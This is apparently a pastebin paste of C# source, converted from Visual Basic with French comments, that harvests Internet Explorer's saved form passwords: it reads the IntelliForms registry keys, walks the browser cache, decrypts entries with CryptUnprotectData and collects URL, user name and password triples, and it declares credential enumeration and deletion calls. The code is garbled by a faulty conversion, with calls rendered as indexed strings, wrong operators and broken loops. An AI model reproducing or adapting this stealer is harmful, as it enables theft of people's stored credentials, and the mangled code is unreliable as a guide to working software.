  1459.                         ((int)("advapi32.dll"[((int)(hProv)), ((int)(dwFlags))]));
  1460.                         const int READ_CONTROL = 131072;
  1461.                         const int STANDARD_RIGHTS_READ = READ_CONTROL;
  1462.                         const int KEY_QUERY_VALUE = 1;
  1463.                         const int KEY_ENUMERATE_SUB_KEYS = 8;
  1464.                         const int KEY_NOTIFY = 16;
  1465.                         const int SYNCHRONIZE = 1048576;
  1466.                         const int STANDARD_RIGHTS_WRITE = READ_CONTROL;
  1467.                         const int KEY_SET_VALUE = 2;
  1468.                         const int KEY_CREATE_SUB_KEY = 4;
  1469.                         const int KEY_READ = ((STANDARD_RIGHTS_READ
  1470.                                     || (KEY_QUERY_VALUE
  1471.                                     || (KEY_ENUMERATE_SUB_KEYS || KEY_NOTIFY)))
  1472.                                     && !SYNCHRONIZE);
  1473.                         const int KEY_WRITE = ((STANDARD_RIGHTS_WRITE
  1474.                                     || (KEY_SET_VALUE || KEY_CREATE_SUB_KEY))
  1475.                                     && !SYNCHRONIZE);
  1476.                         const int HKEY_CURRENT_USER = 2147483649;
  1477.                         RegOpenKeyEx;
  1478.                         "advapi32.dll";
  1479.                         ((int)("RegOpenKeyExA"[((int)(hKey)), ((string)(lpSubKey)), ((int)(ulOptions)), ((int)(samDesired)), ref ((int)(phkResult))]));
  1480.                         RegQueryValueEx;
  1481.                         "advapi32.dll";
  1482.                         ((int)("RegQueryValueExA"[((int)(hKey)), ((string)(lpValueName)), ((int)(lpReserved)), ref ((int)(lpType)), ((IntPtr)(lpData)), ref ((int)(lpcbData))]));
  1483.                         RegDeleteValue;
  1484.                         "advapi32.dll";
  1485.                         ((int)("RegDeleteValueA"[((int)(hKey)), ((string)(lpValueName))]));
  1486.                         LocalFree;
  1487.                         ((int)("kernel32.dll"[((int)(hMem))]));
  1488.                         RegCloseKey;
  1489.                         ((int)("advapi32.dll"[((int)(hKey))]));
  1490.                         DATA_BLOB;
  1491.                         int cbData;
  1492.                         int pbData;
  1493.                         CryptUnprotectData;
  1494.                         ((int)("crypt32.dll"[ref ((DATA_BLOB)(pDataIn)), ((int)(ppszDataDescr)), ((IntPtr)(pOptionalEntropy)), ((int)(pvReserved)), ((int)(pPromptStruct)), ((int)(dwFlags)), ref ((DATA_BLOB)(pDataOut))]));
  1495.                         CryptUnprotectData;
  1496.                         ((int)("crypt32.dll"[ref ((DATA_BLOB)(pDataIn)), ((int)(ppszDataDescr)), ref ((DATA_BLOB)(pOptionalEntropy)), ((int)(pvReserved)), ((int)(pPromptStruct)), ((int)(dwFlags)), ref ((DATA_BLOB)(pDataOut))]));
  1497.                         StringIndexHeader;
  1498.                         int dwWICK;
  1499.                         // semble �tre une signature de la structure : "WICK"
  1500.                         int dwStructSize;
  1501.                         // taille de la structure d'ent�te (&h18)
  1502.                         int dwEntriesCount;
  1503.                         // nombre d'entr�e suivant le structure
  1504.                         int dwUnkId;
  1505.                         // semble �tre un identifiant des donn�es
  1506.                         int dwType;
  1507.                         // semble �tre le type de donn�es :
  1508.                         int dwUnk;
  1509.                         // pourrait �tre un emplacement dans le structure pour mettre un pointeur vers la premi�re entr�e suivant cette structure
  1510.                         StringIndexEntry;
  1511.                         int dwDataOffset;
  1512.                         // d�calage depuis le d�but des donn�es StringData
  1513.                         FILETIME ftInsertDateTime;
  1514.                         // date d'ajout de la donn�e dans la liste pour le formulaire ou le champ
  1515.                         int dwDataSize;
  1516.                         //  taille de la donn�e pour le champ ou le formulaire
  1517.                         Enum;
  1518.                         CRED_TYPE;
  1519.                         GENERIC = 1;
  1520.                         DOMAIN_PASSWORD;
  1521.                         DOMAIN_CERTIFICATE;
  1522.                         DOMAIN_VISIBLE_PASSWORD;
  1523.                         MAXIMUM;
  1524.                         Enum;
  1525.                         CREDENTIAL_ATTRIBUTE;
  1526.                         int lpstrKeyword;
  1527.                         int dwFlags;
  1528.                         int dwValueSize;
  1529.                         int lpbValue;
  1530.                         CREDENTIAL;
  1531.                         int dwFlags;
  1532.                         int dwType;
  1533.                         int lpstrTargetName;
  1534.                         int lpstrComment;
  1535.                         FILETIME ftLastWritten;
  1536.                         int dwCredentialBlobSize;
  1537.                         int lpbCredentialBlob;
  1538.                         int dwPersist;
  1539.                         int dwAttributeCount;
  1540.                         int lpAttributes;
  1541.                         // PCREDENTIAL_ATTRIBUTE
  1542.                         int lpstrTargetAlias;
  1543.                         int lpUserName;
  1544.                         CredEnumerate;
  1545.                         "advapi32.dll";
  1546.                         ((int)("CredEnumerateW"[<, MarshalAs(UnmanagedType.LPWStrUnknownGreater, ((string)(lpszFilter)), ((int)(lFlags)), ref ((int)(pCount)), ref ((int)(lppCredentials))]));
  1547.                         CredDelete;
  1548.                         "advapi32.dll";
  1549.                         ((int)("CredDeleteW"[<, MarshalAs(UnmanagedType.LPWStrUnknownGreater, ((string)(lpwstrTargetName)), ((int)(dwType)), ((int)(dwFlags))]));
  1550.                         CredFree;
  1551.                         ((int)("advapi32.dll"[((int)(pBuffer))]));
  1552.                         SysAllocString;
  1553.                         ((string)("oleaut32.dll"[((int)(pOlechar))]));
  1554.                         ((string)(GetStrFromPtrA(((IntPtr)(lpszA)))));
  1555.                         return Marshal.PtrToStringAnsi(lpszA);
  1556.                         ((byte)(CheckSum(ref ((string)(s)))));
  1557.                         int i;
  1558.                         int sum;
  1559.                         sum = 0;
  1560.                         for (i = 1; (i <= s.Length); i = (i + 2)) {
  1561.                             sum = (sum + int.Parse(double.Parse(("&H" + s.Substring((i - 1), 2)))));
  1562.                         }
  1563.                        
  1564.                         CheckSum = byte.Parse((sum % 256));
  1565.                         ((string)(GetSHA1Hash(ref ((byte)(pbData[])))));
  1566.                         byte[] buff;
  1567.                         int i;
  1568.                         object Preserve;
  1569.                         pbData[(pbData.Length + 1)];
  1570.                         buff = System.Security.Cryptography.SHA1.Create().ComputeHash(pbData);
  1571.                         GetSHA1Hash = "";
  1572.                         for (i = 0; (i
  1573.                                     <= (buff.Length - 1)); i++) {
  1574.                             GetSHA1Hash = (GetSHA1Hash + ("00" + Hex(buff[i])).Substring((("00" + Hex(buff[i])).Length - 2)));
  1575.                         }
  1576.                        
  1577.                         ProcessIEPass(((string)(strURL)), ((string)(strHash)), ((DATA_BLOB)(dataOut)));
  1578.                         int k;
  1579.                         // index
  1580.                         IntPtr ptrData;
  1581.                         IntPtr ptrEntry;
  1582.                         StringIndexHeader hIndex;
  1583.                         int cbhIndex;
  1584.                         int cbentry;
  1585.                         StringIndexEntry eIndex;
  1586.                         string strUserName;
  1587.                         string strPasswd;
  1588.                         IntPtr ptr;
  1589.                         cbentry = eIndex.Length;
  1590.                         cbhIndex = hIndex.Length;
  1591.                         ptr = new IntPtr((dataOut.pbData + Marshal.ReadByte(new IntPtr(dataOut.pbData))));
  1592.                         hIndex = ((StringIndexHeader)(Marshal.PtrToStructure(ptr, hIndex.GetType())));
  1593.                         if ((hIndex.dwType == 1)) {
  1594.                             // passwd
  1595.                             if ((hIndex.dwEntriesCount >= 2)) {
  1596.                                 ptrEntry = new IntPtr((ptr.ToInt32 + hIndex.dwStructSize));
  1597.                                 ptrData = new IntPtr((ptrEntry.ToInt32()
  1598.                                                 + (hIndex.dwEntriesCount * cbentry)));
  1599.                                 for (int i = 0; (i
  1600.                                             <= (hIndex.dwEntriesCount - 1)); i = (i + 2)) {
  1601.                                     if (((ptrData == IntPtr.Zero)
  1602.                                                 || (ptrEntry == IntPtr.Zero))) {
  1603.                                         return;
  1604.                                     }
  1605.                                    
  1606.                                     eIndex = ((StringIndexEntry)(Marshal.PtrToStructure(ptrEntry, eIndex.GetType())));
  1607.                                     if ((lstrlenA(new IntPtr((ptrData.ToInt32 + eIndex.dwDataOffset))) != eIndex.dwDataSize)) {
  1608.                                         // UNICODE
  1609.                                         strUserName = Marshal.PtrToStringUni(new IntPtr((ptrData.ToInt32 + eIndex.dwDataOffset)));
  1610.                                     }
  1611.                                     else {
  1612.                                         // ANSI
  1613.                                         strUserName = Marshal.PtrToStringAnsi(new IntPtr((ptrData.ToInt32 + eIndex.dwDataOffset)));
  1614.                                     }
  1615.                                    
  1616.                                     ptrEntry = new IntPtr((ptrEntry.ToInt32 + cbentry));
  1617.                                     eIndex = ((StringIndexEntry)(Marshal.PtrToStructure(ptrEntry, eIndex.GetType())));
  1618.                                     strPasswd = Space(eIndex.dwDataSize);
  1619.                                     if ((lstrlenA(new IntPtr((ptrData.ToInt32 + eIndex.dwDataOffset))) != eIndex.dwDataSize)) {
  1620.                                         // UNICODE
  1621.                                         strPasswd = Marshal.PtrToStringUni(new IntPtr((ptrData.ToInt32 + eIndex.dwDataOffset)));
  1622.                                     }
  1623.                                     else {
  1624.                                         // ANSI
  1625.                                         strPasswd = Marshal.PtrToStringAnsi(new IntPtr((ptrData.ToInt32 + eIndex.dwDataOffset)));
  1626.                                     }
  1627.                                    
  1628.                                     ptrEntry = new IntPtr((ptrEntry.ToInt32 + cbentry));
  1629.                                     OL = (OL + ("|URL| "
  1630.                                                 + (strURL + ("\r\n" + ("|USR| "
  1631.                                                 + (strUserName + ("\r\n" + ("|PWD| "
  1632.                                                 + (strPasswd + "\r\n")))))))));
  1633.                                 }
  1634.                                
  1635.                             }
  1636.                            
  1637.                         }
  1638.                         else if ((hIndex.dwType == 0)) {
  1639.                             // champ
  1640.                             strPasswd = null;
  1641.                             ptrEntry = new IntPtr((ptr.ToInt32 + hIndex.dwStructSize));
  1642.                             ptrData = new IntPtr((ptrEntry.ToInt32()
  1643.                                             + (hIndex.dwEntriesCount * cbentry)));
  1644.                             if (((ptrData == IntPtr.Zero)
  1645.                                         || (ptrEntry == IntPtr.Zero))) {
  1646.                                 return;
  1647.                             }
  1648.                            
  1649.                             for (k = 0; (k
  1650.                                         <= (hIndex.dwEntriesCount - 1)); k++) {
  1651.                                 eIndex = ((StringIndexEntry)(Marshal.PtrToStructure(ptrEntry, eIndex.GetType())));
  1652.                                 strUserName = Space(eIndex.dwDataSize);
  1653.                                 if ((lstrlenA(new IntPtr((ptrData.ToInt32() + eIndex.dwDataOffset))) != eIndex.dwDataSize)) {
  1654.                                     // UNICODE
  1655.                                     strUserName = Marshal.PtrToStringUni(new IntPtr((ptrData.ToInt32() + eIndex.dwDataOffset)));
  1656.                                 }
  1657.                                 else {
  1658.                                     // ANSI
  1659.                                     strUserName = Marshal.PtrToStringAnsi(new IntPtr((ptrData.ToInt32() + eIndex.dwDataOffset)));
  1660.                                 }
  1661.                                
  1662.                                 ptrEntry = new IntPtr((ptrEntry.ToInt32() + cbentry));
  1663.                                 OL = (OL + ("|URL| "
  1664.                                             + (strURL + ("\r\n" + ("|USR| "
  1665.                                             + (strUserName + ("\r\n" + ("|PWD| "
  1666.                                             + (strPasswd + "\r\n")))))))));
  1667.                             }
  1668.                            
  1669.                         }
  1670.                        
  1671.                         AddPasswdInfo(((string)(strRess)), ((int)(hKey)));
  1672.                         string strHash;
  1673.                         int dwType;
  1674.                         int ret;
  1675.                         int cbData;
  1676.                         DATA_BLOB dataOut;
  1677.                         DATA_BLOB dataIn;
  1678.                         DATA_BLOB Entropy;
  1679.                         strRess = strRess.ToLower();
  1680.                         strHash = GetSHA1Hash(System.Text.UnicodeEncoding.Unicode.GetBytes(strRess));
  1681.                         strHash = (strHash + ("00" + Hex(CheckSum(strHash))).Substring((("00" + Hex(CheckSum(strHash))).Length - 2)));
  1682.                         ret = RegQueryValueEx(hKey, strHash, 0, dwType, IntPtr.Zero, cbData);
  1683.                         if ((cbData > 0)) {
  1684.                             IntPtr ptrData = Marshal.AllocHGlobal(cbData);
  1685.                             ret = RegQueryValueEx(hKey, strHash, 0, dwType, ptrData, cbData);
  1686.                             dataIn.cbData = cbData;
  1687.                             dataIn.pbData = ptrData.ToInt32;
  1688.                             Entropy.cbData = ((strRess.Length * 2)
  1689.                                         + 2);
  1690.                             Entropy.pbData = Marshal.StringToHGlobalUni(strRess).ToInt32;
  1691.                             CryptUnprotectData(dataIn, 0, Entropy, 0, 0, 0, dataOut);
  1692.                             ProcessIEPass(strRess, strHash, dataOut);
  1693.                             Marshal.FreeHGlobal(new IntPtr(Entropy.pbData));
  1694.                             LocalFree(dataOut.pbData);
  1695.                         }
  1696.                        
  1697.                         ((string)(CopyString(((IntPtr)(ptr)))));
  1698.                         return Marshal.PtrToStringUni(ptr);
  1699.                         Refresh();
  1700.                         try {
  1701.                             //  OL += vbNewLine & "###IE" & vbNewLine
  1702.                             int i;
  1703.                             int hFile;
  1704.                             int dwSize;
  1705.                             IntPtr ptr;
  1706.                             INTERNET_CACHE_ENTRY_INFO centry;
  1707.                             int hKey1;
  1708.                             int hKey2;
  1709.                             string url;
  1710.                             System.Text.RegularExpressions.Regex nameRegex = new System.Text.RegularExpressions.Regex("name=\"([^\"]+)\"", System.Text.RegularExpressions.RegexOptions.Compiled);
  1711.                             RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage1", 0, KEY_READ, hKey1);
  1712.                             RegOpenKeyEx(HKEY_CURRENT_USER, "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", 0, KEY_READ, hKey2);
  1713.                             if (((hKey2 != 0)
  1714.                                         || (hKey1 != 0))) {
  1715.                                 hFile = FindFirstUrlCacheEntry(null, IntPtr.Zero, dwSize);
  1716.                                 if ((dwSize > 0)) {
  1717.                                     ptr = Marshal.AllocHGlobal(dwSize);
  1718.                                     Marshal.WriteInt32(ptr, dwSize);
  1719.                                     hFile = FindFirstUrlCacheEntry(null, ptr, dwSize);
  1720.                                     for (
  1721.                                     ; // TODO: Warning!!!! NULL EXPRESSION DETECTED...
  1722.                                     ;
  1723.                                     ) {
  1724.                                         centry = ((INTERNET_CACHE_ENTRY_INFO)(Marshal.PtrToStructure(ptr, centry.GetType())));
  1725.                                         if (((centry.CacheEntryType
  1726.                                                     && (NORMAL_CACHE_ENTRY || URLHISTORY_CACHE_ENTRY))
  1727.                                                     != 0)) {
  1728.                                             url = GetStrFromPtrA(new IntPtr(centry.lpszSourceUrlName));
  1729.                                             if ((url.IndexOf("?") >= 0)) {
  1730.                                                 url = url.Substring(0, url.IndexOf("?"));
  1731.                                             }
  1732.                                            
  1733.                                             if (((url.IndexOf("@") + 1)
  1734.                                                         > 0)) {
  1735.                                                 url = url.Substring((url.IndexOf("@") + 1));
  1736.                                             }
  1737.                                            
  1738.                                             if (((hKey1 != 0)
  1739.                                                         && ((centry.CacheEntryType && NORMAL_CACHE_ENTRY)
  1740.                                                         == NORMAL_CACHE_ENTRY))) {
  1741.                                                 string header = GetStrFromPtrA(new IntPtr(centry.lpHeaderInfo));
  1742.                                                 if ((!string.IsNullOrEmpty(header)
  1743.                                                             && header.Contains("text/html"))) {
  1744.                                                     string localName = GetStrFromPtrA(new IntPtr(centry.lpszLocalFileName));
  1745.                                                     try {
  1746.                                                         foreach (System.Text.RegularExpressions.Match input in nameRegex.Matches(System.IO.File.ReadAllText(localName))) {
  1747.                                                             AddPasswdInfo(input.Groups[1].Value, hKey1);
  1748.                                                         }
  1749.                                                        
  1750.                                                     }
  1751.                                                     catch (System.Exception End) {
  1752.                                                         try {
  1753.                                                         }
  1754.                                                        
  1755.                                                     }
  1756.                                                    
  1757.                                                     AddPasswdInfo(url, hKey2);
  1758.                                                 }
  1759.                                                
  1760.                                                 dwSize = 0;
  1761.                                                 FindNextUrlCacheEntry(hFile, IntPtr.Zero, dwSize);
  1762.                                                 Marshal.FreeHGlobal(ptr);
  1763.                                                 if ((dwSize > 0)) {
  1764.                                                     ptr = Marshal.AllocHGlobal(dwSize);
  1765.                                                     Marshal.WriteInt32(ptr, dwSize);
  1766.                                                 }
  1767.                                                
  1768.                                                 while ((FindNextUrlCacheEntry(hFile, ptr, dwSize) != 0)) {
  1769.                                                     FindCloseUrlCache(hFile);
  1770.                                                 }
  1771.                                                
  1772.                                                 RegCloseKey(hKey1);
  1773.                                                 RegCloseKey(hKey2);
  1774.                                             }
  1775.                                            
  1776.                                             string str_Renamed;
  1777.                                             int dwNbCred;
  1778.                                             int lpCredentials;
  1779.                                             string szAuth;
  1780.                                             string strRess;
  1781.                                             CREDENTIAL Cred;
  1782.                                         }
  1783.                                        
  1784.                                     }
  1785.                                    
  1786.                                 }
  1787.                                
  1788.                             }
  1789.                            
  1790.                         }
  1791.                        
  1792.                     }
  1793.                    
  1794.                 }
  1795.                
  1796.             }
  1797.            
  1798.         }
  1799.        
  1800.     }
  1801. }
Add Comment
Please, Sign In to add comment